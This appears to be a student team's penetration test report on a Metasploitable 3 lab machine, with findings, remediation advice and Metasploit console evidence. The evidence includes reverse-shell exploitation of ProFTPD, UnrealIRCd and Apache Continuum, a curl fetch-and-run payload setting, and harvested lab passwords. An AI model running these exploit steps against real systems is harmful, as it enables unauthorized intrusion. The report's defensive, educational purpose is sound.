

Security Assessment Findings Report

Penetration Test Report — Metasploitable 3

Date: 7th September – 11th September 2026

Prepared By: Group 7 (Bill Nalimae, Deborah Ogutu, Dennis Muroki, Eugene Nyongesa, Japheth Omondi, Mary Nyerere, Margaret Wairimu)

Table of Contents

- 1. Confidentiality Statement
- 2. Disclaimer
- 3. Contact Information
- 4. Assessment Overview
- 5. Assessment Components
- 6. Finding Severity Ratings
- 7. Scope
- 8. Executive Summary
- 9. Security Strengths
- 10. Security Weaknesses
- 11. Vulnerabilities by Impact
- 12. Methodology & Tool Rationale
- 13. Additional Reports and Scans
- Conclusion & Next Steps
- 14. Technical Evidence & Screenshots
- 15. Reflection & Takeaways

1. Confidentiality Statement

This document contains proprietary and confidential information. Unauthorized duplication or distribution is prohibited. Access is restricted to authorized personnel only.

2. Disclaimer

This penetration test represents a snapshot in time and reflects findings based on the assessment period. The results do not account for changes made after the engagement.

3. Contact Information

Name	Title	Contact Information
Internal Security Team	Client Point of Contact	N/A
Group 7	Junior Penetration Testers	N/A

4. Assessment Overview

The purpose of this assessment was to evaluate the security posture of Metasploitable 3 (legacy Linux development environment) by identifying vulnerabilities, misconfigurations, and security weaknesses in the target system's network services, web applications, and operating system (192.168.100.6). The main objective was to conduct a full-scope security assessment and gain full access and control of the target machine. The engagement was conducted in September 2026 using industry-recognized methodologies:

- NIST SP 800-115 (Technical Guide to Information Security Testing)
- OWASP Testing Guide
- MITRE ATT&CK Framework

Testing Phases:

- **Planning:** Define engagement rules and objectives.
- **Discovery:** Perform reconnaissance, scanning, and enumeration.
- **Attack:** Exploit vulnerabilities to assess impact.
- **Reporting:** Document findings, risks, and recommendations.

5. Assessment Components

Assessment Type	Description
External Penetration Test	Externally accessible services including FTP (21), HTTP (80), IRC (6697), and HTTP/Jetty (8080) tested for exploitable vulnerabilities.

Internal Penetration Test	Evaluated security risks from an insider-threat perspective; performed enumeration, privilege escalation, and lateral-movement testing.
Web Application Testing	Identified web security flaws and outdated CMS plugins across Drupal CMS, phpMyAdmin, the payroll app, and Apache Continuum.
Cloud Security Testing	Analyzed exposed API keys.

6. Finding Severity Ratings

The following severity levels are used to categorize vulnerabilities, mapped to their CVSS scores.

Severity	CVSS Score	Definition
Critical	9.0 – 10.0	Immediate action required due to high risk of system compromise.
High	7.0 – 8.9	Serious security flaw that could lead to data breaches or privilege escalation.
Medium	4.0 – 6.9	Exploitable vulnerability but requires additional factors for full compromise.
Low	0.1 – 3.9	Minor security concern that reduces attack surface.
Informational	N/A	No immediate risk but provides useful security insights.

Critical (9.0 – 10.0)

- **Unrestricted Login Attempts (CVSS 9.8):** Allowed attackers to continuously attempt login credentials without restriction, making brute-force attacks feasible.
- **Remote Code Execution (CVSS 9.8):** Allowed an unauthenticated attacker to execute arbitrary code on the target system.
- **Command Injection (CVSS 9.8):** Allowed an unauthenticated attacker to execute commands as root, leading to full system compromise.

High (7.0 – 8.9)

- **Plaintext Credentials in IRC Configuration (CVSS 8.2):** Exposed IRC operator, services link, and vHost passwords in a readable configuration file, allowing unauthorized access to the IRC service.

- **Sensitive Data Exposure (CVSS 7.8):** Credentials, API keys, financial records, and cached data were accessible to compromised users, leading to potential data theft.
- **Weak Default Password (CVSS 7.5):** A privileged account used a weak default password, allowing attackers to log in and escalate privileges.

Medium (4.0 – 6.9)

- **Lack of Network Segmentation (CVSS 6.5):** Users were not isolated from each other, allowing a compromised account to access other users' files and sensitive data.
- **Outdated Web Server Software (CVSS 5.5):** Outdated Apache and Jetty versions contained known vulnerabilities that could be exploited.
- **Hardcoded Database Credentials (CVSS 5.2):** Database credentials were stored in plaintext within application files, allowing unauthorized database access.
- **Missing HTTP Security Headers (CVSS 4.5):** Absence of security headers increased the risk of clickjacking and data leakage.

7. Scope

In-Scope Assets

- Target System: Legacy Linux Development Environment (Metasploitable 3)
- Pentester machine: Kali Linux
- Network: Internal lab network (Flatiron NAT Network, 192.168.100.0/24)
- Web Applications
- Services

Scope Exclusions

- Denial of Service (DoS/DDoS) attacks
- Other production systems

Client Allowances

- Full-scope penetration testing (vulnerability verification, exploitation, post-exploitation enumeration, privilege escalation, lateral movement, persistence)
- Black-box assessment

8. Executive Summary

This assessment of Metasploitable 3 identified 3 critical, 3 high, 4 medium, and 0 low-severity vulnerabilities. Unauthenticated attackers could exploit exposed network services to gain an initial foothold, escalate to full administrative (root) control, and access sensitive data — including credentials, API keys, and financial records — without ever needing a valid password. In practical terms: an outsider with no prior access could have taken over this system end-to-end within a single testing session.

At the same time, several defensive controls worked as intended and slowed or blocked parts of the attack. Password hashes were properly salted, the root account could not be logged into directly, and sensitive system files retained restrictive permissions. These controls did not stop the initial compromise but limited how far a less-skilled attacker could go without further effort.

Attack Chain Summary

Step	Action	Recommendation
1	Performed reconnaissance by scanning the target for open ports and exposed services.	Maintain an inventory of exposed services and close unnecessary ports.
2	Exploited a file-sharing service using a malicious payload and gained unauthorized access to the system.	Patch or remove the file-sharing service; disable unnecessary features.
3	Enumerated open ports and discovered an exposed chat service running with a known backdoor.	Remove or upgrade the chat service; restrict access to internal users.
4	Exploited the chat service backdoor and gained access to a user account with additional privileges.	Patch vulnerable services; enforce least privilege for all accounts.
5	Enumerated running processes and discovered a build management tool running with full administrative privileges on an open port.	Run services with limited privileges instead of full administrative rights.
6	Exploited the build management tool and gained full administrative control of the system.	Patch the build management tool; restrict access to its management port.
7	Accessed sensitive data including credentials, API keys, financial records, and cached user history across multiple user directories.	Implement user isolation and strict file permissions.
8	Flagged all test artifacts, exposed credentials, and misconfigurations for cleanup and remediation.	Remove exposed credentials, enforce multi-factor authentication, and conduct regular security assessments.

9. Security Strengths

The assessment found several strong security controls, including the following:

- **Salted password hashing** — most user passwords resisted dictionary attacks, including leia_organa, luke_skywalker, boba_fett, chewbacca, and han_solo.
- **Restricted file permissions** — files such as /etc/shadow and /root/ were properly locked down and could not be accessed by non-root users.
- **Locked system accounts** — system accounts such as daemon, bin, sys, and nobody were disabled and could not be used for interactive login.

- **Dedicated service accounts** — services ran under separate low-privileged accounts (www-data, mysql, boba_fett), limiting the impact of a single compromise.
- **Root account locked** — the root account was not directly accessible via password login, requiring escalation through other means.
- **Home directory permissions** — user home directories were restricted to their respective owners by default.

10. Security Weaknesses

The following security gaps were identified:

- **Unrestricted Login Attempts:** No lockout policy was in place, allowing attackers to attempt login credentials indefinitely without restriction.
- **Weak Default Password:** A privileged account (vagrant) used a weak default password, allowing attackers to log in and escalate to full administrative access.
- **Plaintext Credentials in Configuration Files:** IRC operator, services link, and vHost passwords were stored in plaintext within a readable configuration file, exposing sensitive credentials to anyone with shell access.
- **Sensitive Data Exposure:** Credentials, API keys, financial records, cached data, and command history were accessible to compromised users, leading to potential data theft.
- **Lack of Network Segmentation:** User accounts were not isolated from each other, allowing a compromised account to access other users' files and sensitive data across shared directories.
- **Outdated Software:** Multiple services were running outdated versions with known vulnerabilities, including Apache, Jetty, ProFTPD, and UnrealIRCd.
- **Hardcoded Database Credentials:** Database credentials were stored in plaintext within application files, allowing unauthorized database access if those files were read.
- **Missing HTTP Security Headers:** Absence of security headers increased the risk of clickjacking, MIME-sniffing, and data leakage.
- **Services Running with Excessive Privileges:** A build management tool was running with full administrative (root) privileges, allowing a single exploit to compromise the entire system.
- **No Multi-Factor Authentication:** Absence of MFA on user accounts allowed simple credential-based attacks to succeed.
- **Excessive Group Memberships:** Users were assigned to groups that granted more access than necessary for their roles.

11. Vulnerabilities by Impact

Vulnerability	Severity	Impact	Affected Systems	Recommendation
Unrestricted Login Attempts	Critical	Allowed attackers to attempt login credentials indefinitely,	SSH, FTP, Web Applications	Implement account lockout policies and rate limiting.

		making brute-force attacks feasible.		
File Transfer Service Remote Code Execution	Critical	Allowed an unauthenticated attacker to execute arbitrary code and gain unauthorized access to the system.	FTP Service (Port 21)	Patch or remove the service; disable unnecessary features.
Chat Service Backdoor	Critical	Allowed an unauthenticated attacker to execute arbitrary commands and gain access to a privileged user account.	IRC Service (Port 6697)	Remove or upgrade the service; restrict access to internal users.
Build Management Tool Command Injection	Critical	Allowed an unauthenticated attacker to execute commands as root, leading to full system compromise.	Build Management Tool (Port 8080)	Patch the tool; restrict access to the management port.
Plaintext Credentials in Configuration File	High	Exposed IRC operator, services link, and vHost passwords, allowing unauthorized access to the chat service.	IRC Configuration File	Remove plaintext credentials; use a secrets manager; rotate all exposed passwords.
Sensitive Data Exposure	High	Credentials, API keys, financial records, and cached data were accessible, leading to potential data theft.	User Home Directories	Implement user isolation and strict file permissions.
Weak Default Password	High	A privileged account used a weak default password, allowing attackers to log in and escalate to full administrative access.	Privileged User Account	Enforce strong password policies and change default credentials before deployment.

Lack of Network Segmentation	Medium	Users were not isolated from each other, allowing a compromised account to access other users' files and data.	User Home Directories	Implement network and filesystem segmentation.
Outdated Software	Medium	Outdated Apache, Jetty, ProFTPD, and UnrealIRCd contained known vulnerabilities that could be exploited.	Web Server, Application Server, FTP, IRC	Apply vendor patches and upgrade to supported versions.
Hardcoded Database Credentials	Medium	Database credentials stored in plaintext allowed unauthorized database access.	Application Configuration Files	Move credentials to a secrets manager; rotate all exposed database passwords.
Missing HTTP Security Headers	Medium	Absence of security headers increased the risk of clickjacking, MIME-sniffing, and data leakage.	Web Applications	Apply standard hardening headers (CSP, X-Frame-Options, HSTS, etc.).

12. Methodology & Tool Rationale

Each phase of the engagement relied on tools chosen for a specific reason rather than convenience:

- **Custom Python port scanner (Discovery):** used instead of a stock Nmap run so the team could control thread count and timeout behavior directly and confirm banner-grabbing logic; results were later cross-checked against standard scanning tooling.
- **Metasploit Framework (Attack):** chosen for its maintained, versioned exploit modules for ProFTPD, UnrealIRCd, and Apache Continuum, and for its Meterpreter payload, which gave a consistent post-exploitation shell across every foothold gained.
- **Manual enumeration (grep, cat, ls) (Post-Exploitation):** used once shell access was obtained, since scripted tools risk missing context-specific findings like credentials embedded in configuration comments.
- **John the Ripper (Password Cracking):** used against the recovered vagrant password hash with the rockyou wordlist, chosen because it is the standard offline cracking tool for this hash format and wordlist pairing.

This phased tool selection mirrors the NIST SP 800-115 discovery → attack → reporting flow and let the team validate each finding with at least two independent pieces of evidence (e.g., a vulnerability scan result plus a successful exploitation) before recording it.

13. Additional Reports and Scans

A complete list of findings, scan reports, and raw data logs referenced during this engagement:

- Findings_Report.xlsx – Detailed findings with CVSS scoring.
- Vulnerability_Scan_Report.pdf – Full vulnerability scan results.
- Attack_Path_Analysis.docx – Step-by-step exploitation techniques.

Conclusion & Next Steps

The internal security team should prioritize remediation of critical and high-severity vulnerabilities while implementing broader security improvements such as MFA, stronger authentication controls, and regular security audits. Conducting periodic penetration tests is recommended to maintain security posture over time.

Next Steps

- **1. Immediate remediation of critical vulnerabilities** — patch or remove vulnerable services (file transfer, chat service, and build management tool) and restrict access to exposed ports.
- **2. Remove all plaintext credentials** — eliminate hardcoded and plaintext credentials from configuration files; rotate all exposed passwords and implement a secrets manager.
- **3. Enforce strong password policies** — replace default credentials, require complex passwords, and enable multi-factor authentication (MFA) across all accounts.
- **4. Implement account lockout policies** — restrict the number of failed login attempts to prevent brute-force attacks.
- **5. Implement network and filesystem segmentation** — isolate user accounts and services to prevent lateral access to sensitive data.
- **6. Apply vendor patches regularly** — update all outdated software (Apache, Jetty, ProFTPD, UnrealIRCd) to supported, patched versions.
- **7. Security awareness training for employees** — educate staff on credential hygiene, phishing, and secure configuration practices.
- **8. Continuous monitoring and logging enhancements** — deploy monitoring tools to detect unusual activity and enable faster incident response.
- **9. Regular security assessments** — conduct annual penetration tests to identify emerging threats and validate remediation efforts.
- **10. Flag all test artifacts for cleanup** — ensure all penetration testing artifacts, temporary users, and modified files are removed and verified.

14. Technical Evidence & Screenshots

This section contains the detailed technical evidence collected during the assessment. All screenshots and logs are stored in the evidence folder and referenced below.

A. Reconnaissance & Scanning

```
(captainx@CaptainKaliX)-[~/capstone-xss]
$ nano port_scanner.py

(captainx@CaptainKaliX)-[~/capstone-xss]
$ sudo python3 port_scanner.py
Enter target IP address or hostname: 192.168.100.6

[+] Starting TCP scan on 192.168.100.6 (192.168.100.6)
[+] Port range: 1-10000
[+] Threads: 30 Timeout: 1.0s
[+] Started at: 2026-09-09 23:19:18

[OPEN] 21/tcp ftp 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.100.6]
[OPEN] 22/tcp ssh SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.13
[OPEN] 80/tcp http Apache/2.4.7 (Ubuntu)
[OPEN] 445/tcp microsoft-ds
[OPEN] 631/tcp ipp CUPS/1.7 IPP/2.1
[OPEN] 3306/tcp mysql G j Host '192.168.100.29' is not allowed to connect to this MySQL server
[OPEN] 6697/tcp ircs-u :irc.TestIRC.net NOTICE AUTH :*** Looking up your hostname...
[OPEN] 8080/tcp http-alt Jetty(8.1.7.v20120910)

[+] Scan complete in 340.08 seconds.
[+] 8 open port(s) found out of 10000 scanned.

Summary of open ports:
- 21/tcp (ftp) - 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.100.6]
- 22/tcp (ssh) - SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.13
- 80/tcp (http) - Apache/2.4.7 (Ubuntu)
- 445/tcp (microsoft-ds)
- 631/tcp (ipp) - CUPS/1.7 IPP/2.1
- 3306/tcp (mysql) - G j Host '192.168.100.29' is not allowed to connect to this MySQL server
- 6697/tcp (ircs-u) - :irc.TestIRC.net NOTICE AUTH :*** Looking up your hostname...
- 8080/tcp (http-alt) - Jetty(8.1.7.v20120910)
```

Fig 1.1 Port scanner output

B. Exploitation — File Transfer Service (Port 21)

```
msf > search proftpd

Matching Modules
-----
#  Name
-  -
0  exploit/linux/misc/netSupport_manager_agent
1  exploit/linux/ftp/proftpd_sreplace
2  \  target: Automatic Targeting
3  \  target: Debug
4  \  target: ProFTPD 1.3.0 (source install) / Debian 3.1
5  exploit/freebsd/ftp/proftpd_telnet_iac
6  \  target: Automatic Targeting
7  \  target: Debug
8  \  target: ProFTPD 1.3.2a Server (FreeBSD 8.0)
9  exploit/linux/ftp/proftpd_telnet_iac
10 \  target: Automatic Targeting
11 \  target: Debug
12 \  target: ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1
13 \  target: ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1 (Debug)
14 \  target: ProFTPD 1.3.2c Server (Ubuntu 10.04)
15 exploit/unix/ftp/proftpd_133c_backdoor
16 exploit/unix/ftp/proftpd_modcopy_exec

Disclosure Date  Rank  Check  Description
-----
2011-01-08      average No  NetSupport Manager Agent Remote Buffer Overflow
2006-11-26      great  Yes  ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
.              .      .      .
.              .      .      .
2010-11-01      great  Yes  ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
.              .      .      .
.              .      .      .
2010-11-01      great  Yes  ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
.              .      .      .
.              .      .      .
.              .      .      .
2010-12-02      excellent No  ProFTPD 1.3.3c Backdoor Command Execution
2015-04-22      excellent Yes  ProFTPD 1.3.5 Mod_Copy Command Execution

Interact with a module by name or index. For example info 16, use 16 or use exploit/unix/ftp/proftpd_modcopy_exec

msf > info 16

Name: ProFTPD 1.3.5 Mod_Copy Command Execution
Module: exploit/unix/ftp/proftpd_modcopy_exec
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2015-04-22

Provided by:
Vadim Melihov
```

Fig 2.1 Searching service for exploits

Basic options:			
Name	Current Setting	Required	Description
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, sapi, http, socks4
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	80	yes	HTTP port (TCP)
RPORT_FTP	21	yes	FTP port
SITEPATH	/var/www	yes	Absolute writable website path
SSL	false	no	Negotiate SSL/TLS for outgoing connections
TARGETURI	/	yes	Base path to the website
TMPPATH	/tmp	yes	Absolute writable path
VHOST		no	HTTP server virtual host

Payload information:
Avoid: 0 characters

Description:
This module exploits the SITE CPFR/CPTD mod_copy commands in ProFTPD version 1.3.5. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination. The copy commands are executed with the rights of the ProFTPD service, which by default runs under the privileges of the 'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website directory, PHP remote code execution is made possible.

References:
<https://nvd.nist.gov/vuln/detail/CVE-2015-3306>
<https://www.exploit-db.com/exploits/36742>
http://bugs.proftpd.org/show_bug.cgi?id=4169

Fig 2.2 Exploit references information

Basic options:			
Name	Current Setting	Required	Description
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, sapi, http, socks4
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	80	yes	HTTP port (TCP)
RPORT_FTP	21	yes	FTP port
SITEPATH	/var/www	yes	Absolute writable website path
SSL	false	no	Negotiate SSL/TLS for outgoing connections
TARGETURI	/	yes	Base path to the website
TMPPATH	/tmp	yes	Absolute writable path
VHOST		no	HTTP server virtual host

Payload information:
Avoid: 0 characters

Description:
This module exploits the SITE CPFR/CPTD mod_copy commands in ProFTPD version 1.3.5. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination. The copy commands are executed with the rights of the ProFTPD service, which by default runs under the privileges of the 'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website directory, PHP remote code execution is made possible.

References:
<https://nvd.nist.gov/vuln/detail/CVE-2015-3306>
<https://www.exploit-db.com/exploits/36742>
http://bugs.proftpd.org/show_bug.cgi?id=4169

Fig 2.3 Module configuration

```
msf exploit(multi/ftp/proftpd_modcopy_exec) > check
[*] 192.168.100.6:80 - The target appears to be vulnerable. 192.168.100.6:21 - Unauthenticated SITE CPFR command was successful
msf exploit(multi/ftp/proftpd_modcopy_exec) > exploit
[*] Started reverse TCP handler on 192.168.100.29:4444
[*] 192.168.100.6:80 - 192.168.100.6:21 - Connected to FTP server
[*] 192.168.100.6:80 - 192.168.100.6:21 - Sending copy commands to FTP server
[*] 192.168.100.6:80 - Executing PHP payload /v186y.php
[*] 192.168.100.6:80 - Deleted /var/www/html/v186y.php
[*] Command shell session 2 opened (192.168.100.29:4444 → 192.168.100.6:43882) at 2026-07-25 17:57:39 -0400

whoami
www-data
uname -a
Linux metasploitable3-ubi404 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
```

Fig 2.4 Vulnerability check and exploitation

```
meterpreter > shell
Process 31283 created.
Channel 1 created.
uname -a
Linux metasploitable3-ubi404 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sudo -l
sudo: no tty present and no askpass program specified
ls -la
total 24
drwxr-xrwx 5 root    root    4096 Sep 10 09:34 .
drwxr-xr-x 5 root    root    4096 Oct 29 2020 ..
drwxrwxrwx 2 root    root    4096 Oct 29 2020 chat
drwxr-xr-x 9 www-data www-data 4096 Oct 29 2020 drupal
-rwxr-xr-x 1 root    root    1778 Oct 29 2020 payroll_app.php
drwxr-xr-x 8 root    root    4096 Oct 29 2020 phpmyadmin
```

Fig 2.5 User identity and successful shell interaction

C. Exploitation — Chat Service (Port 6697)

```
msf > search unreal

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/linux/games/ut2004_secure         2004-06-18      good  Yes    Unreal Tournament 2004 "secure" Overflow (Linux)
1  \_ target: Automatic                     .               .      .      .
2  \_ target: UT2004 Linux Build 3120       .               .      .      .
3  \_ target: UT2004 Linux Build 3186       .               .      .      .
4  exploit/windows/games/ut2004_secure       2004-06-18      good  Yes    Unreal Tournament 2004 "secure" Overflow (Win32)
5  exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12      excellent Yes    UnrealIRCd 3.2.8.1 Backdoor Command Execution

Interact with a module by name or index. For example info 5, use 5 or use exploit/unix/irc/unreal_ircd_3281_backdoor

msf > info 5

Name: UnrealIRCd 3.2.8.1 Backdoor Command Execution
Module: exploit/unix/irc/unreal_ircd_3281_backdoor
Platform: Unix, Linux
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2010-06-12

Provided by:
hdm <x@hdm.io>
g0tmilk
```

Fig 3.1 Search service for exploits

```
Available targets:
Id  Name
--  --
=> 0  Linux/Unix Command

Check supported:
Yes

Basic options:
Name      Current Setting  Required  Description
--      -
RHOSTS    192.168.100.6   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     6697            yes       The target port (TCP)

Payload information:
Space: 1024

Description:
This module exploits a malicious backdoor that was added to the
Unreal IRCd 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.

References:
https://nvd.nist.gov/vuln/detail/CVE-2010-2075
OSVDB (65445)
http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt
```

Fig 3.2 Exploit reference information

```
msf > use 5
[*] Using configured payload cmd/linux/http/x86/meterpreter/reverse_tcp
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.100.6
RHOSTS => 192.168.100.6
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RPORT 6697
RPORT => 6697
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] 192.168.100.6:6697 - Msf::OptionValidateError One or more options failed to validate: LHOST.
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.100.29
LHOST => 192.168.100.29
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set LPORT 4444
LPORT => 4444
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > show opts
[*] Invalid parameter "opts", use "show -h" for more information
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name      Current Setting  Required  Description
--      -
RHOSTS    192.168.100.6   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     6697            yes       The target port (TCP)

Payload options (cmd/linux/http/x86/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
FETCH_COMMAND  CURL            yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE   false           yes       Attempt to delete the binary after execution
FETCH_FILELESS none            yes       Attempt to run payload without touching disk by using anonymous handles, requires Linux >=3.17 (for Python variant also Python >=3.8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+, shell-search, shell)
FETCH_SRVPATH  8080            no        Local IP to use for serving payload
FETCH_SRVPORT  8080            yes       Local port to use for serving payload
LHOST       192.168.100.29 yes       The listen address (an interface may be specified)
LPORT       4444            yes       The listen port

When FETCH_COMMAND is one of CURL,GET,WGET:
```

Fig 3.3 Exploit settings and configurations

```

msf exploit(unix/irc/unreal_ircd_3281_backdoor) > check
[*] 192.168.100.6:6697 - Connected to 192.168.100.6:6697
[*] 192.168.100.6:6697 - Trying to register a new IRC user: marty
[*] 192.168.100.6:6697 - The target appears to be vulnerable. UnrealIRCd detected after registration
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP handler on 192.168.100.29:4444
[*] 192.168.100.6:6697 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.100.6:6697 - Connected to 192.168.100.6:6697
[*] 192.168.100.6:6697 - Trying to register a new IRC user: danilo
[*] 192.168.100.6:6697 - The target appears to be vulnerable. UnrealIRCd detected after registration
[*] 192.168.100.6:6697 - Connected to 192.168.100.6:6697
[*] 192.168.100.6:6697 - Sending IRC backdoor command
[*] Exploit completed, but no session was created.
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set LPORT 5555
LPORT => 5555
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP handler on 192.168.100.29:5555
[*] 192.168.100.6:6697 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.100.6:6697 - Connected to 192.168.100.6:6697
[*] 192.168.100.6:6697 - Trying to register a new IRC user: sanora
[*] 192.168.100.6:6697 - The target appears to be vulnerable. UnrealIRCd detected after registration
[*] 192.168.100.6:6697 - Connected to 192.168.100.6:6697
[*] 192.168.100.6:6697 - Sending IRC backdoor command
[*] Command shell session 1 opened (192.168.100.29:5555 -> 192.168.100.6:38567) at 2026-09-10 08:11:30 -0400

whoami
boba_fett
pwd
/opt/unrealircd/Unreal3.2
sysinfo
/bin/sh: 5: sysinfo: not found
uname -a
Linux metasploitable3-ub1404 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
ls -la
total 1712
drwxr-xr-x 13 boba_fett root 4096 Sep 10 11:56 .
d-x----- 3 boba_fett root 4096 Oct 29 2020 ..
-rw-r--r-- 1 boba_fett root 932 Apr 13 2009 .CHANGES.NEW

```

Fig 3.4 Vulnerability check and successful exploitation

```

id
uid=1121(boba_fett) gid=100(users) groups=100(users),999(docker)
whoami
boba_fett
groups
users docker

ls -la /home/boba_fett/
total 20
drwxr-xr-x 2 boba_fett users 4096 Oct 29 2020 .
drwxr-xr-x 19 root root 4096 Sep 18 05:29 ..
-rw-r--r-- 1 boba_fett users 220 Apr 9 2014 .bash_logout
-rw-r--r-- 1 boba_fett users 3637 Apr 9 2014 .bashrc
-rw-r--r-- 1 boba_fett users 675 Apr 9 2014 .profile

cat /home/boba_fett/.bash_history
cat: /home/boba_fett/.bash_history: No such file or directory
cat /home/boba_fett/.bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
  *i*) ;;
  *) return;;
esac

# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

```

Fig 3.5 User identity and shell interaction

D. Post-Exploitation Enumeration

```

# Show the oper block with the password
grep -A 15 "oper " /opt/unrealircd/Unreal3.2/unrealircd.conf
oper YourName {
    class                clients;
    from {
        userhost Me@and.my.host;
    };
    password "ILiKEopeRING1022";
    flags {
        {
            netadmin;
            can_zline;
            can_gline;
            can_gkline;
            global;
        };
    };
};

# Show with line numbers for precise reference
grep -n "ILiKEopeRING1022\|password\|oper YourName" /opt/unrealircd/Unreal3.2/unrealircd.conf
27:oper YourName {
32:    password "ILiKEopeRING1022";
52:    password-connect "Sup3rSERVICE";
53:    password-receive "Sup3rSERVICE";
102:    password          LovingTheKwHost;

```

Fig 4.1 Exposed user passwords

```
$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'root',
      'password' => 'sploitme',
      'host' => '127.0.0.1',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);
```

Fig 4.2 Exposed database sensitive information

```
<?php
$conn = new mysqli('127.0.0.1', 'root', 'sploitme', 'payroll');
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
?>
```

Fig 4.3 Exposed sensitive MySQL connection credentials

```
/* Servers configuration */
$i = 0;

/* Server: metasploitable [1] */
$i++;
$cfg['Servers'][$i]['verbose'] = 'metasploitable';
$cfg['Servers'][$i]['host'] = '127.0.0.1';
$cfg['Servers'][$i]['port'] = '';
$cfg['Servers'][$i]['socket'] = '';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['extension'] = 'mysql';
$cfg['Servers'][$i]['auth_type'] = 'cookie';
$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = 'sploitme';
```

Fig 4.4 Exposed server configuration sensitive information

[illegible]

Fig 4.5 Viewed Apache Continuum running process as root on an open port

E. Privilege Escalation — Build Management Tool (Port 8080)


```
View the full module info with the info, or info -d command.

msf exploit(linux/http/apache_continuum_cmd_exec) > check
[*] 192.168.100.6:8080 - The target is not exploitable. The target is not vulnerable
msf exploit(linux/http/apache_continuum_cmd_exec) > exploit
[*] Started reverse TCP handler on 192.168.100.29:5555
[*] Injecting CmdStager payload...
[*] Sending stage (3890404 bytes) to 192.168.100.6
[*] Meterpreter session 1 opened (192.168.100.29:5555 → 192.168.100.6:49467) at 2026-09-10 00:06:01 -0400
[*] Command Stager progress - 100.00% done (823/823 bytes)
```

Fig 5.5 Vulnerability check and successful exploitation

```
meterpreter >
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer      : metasploit3-ub1404
OS            : Ubuntu 14.04 (Linux 3.13.0-170-generic)
Architecture : x64
BuildTuple    : x86_64-linux-musl
Meterpreter   : x64/linux
meterpreter > pwd
/opt/apache_continuum/apache-continuum-1.4.2
meterpreter > ls -la
Listing: /opt/apache_continuum/apache-continuum-1.4.2

Mode                Size      Type       Last modified            Name
--
040755/rwxr-xr-x    4096     dir       2026-09-08 16:26:22 -0400 -p
100644/rw-r--r--    13937    fil       2014-06-04 07:01:41 -0400 LICENSE
100644/rw-r--r--     173      fil       2014-06-04 07:36:36 -0400 NOTICE
040755/rwxr-xr-x    4096     dir       2020-10-29 15:27:59 -0400 apps
040755/rwxr-xr-x    4096     dir       2020-10-29 15:27:59 -0400 bin
040755/rwxr-xr-x    4096     dir       2014-06-04 07:36:57 -0400 conf
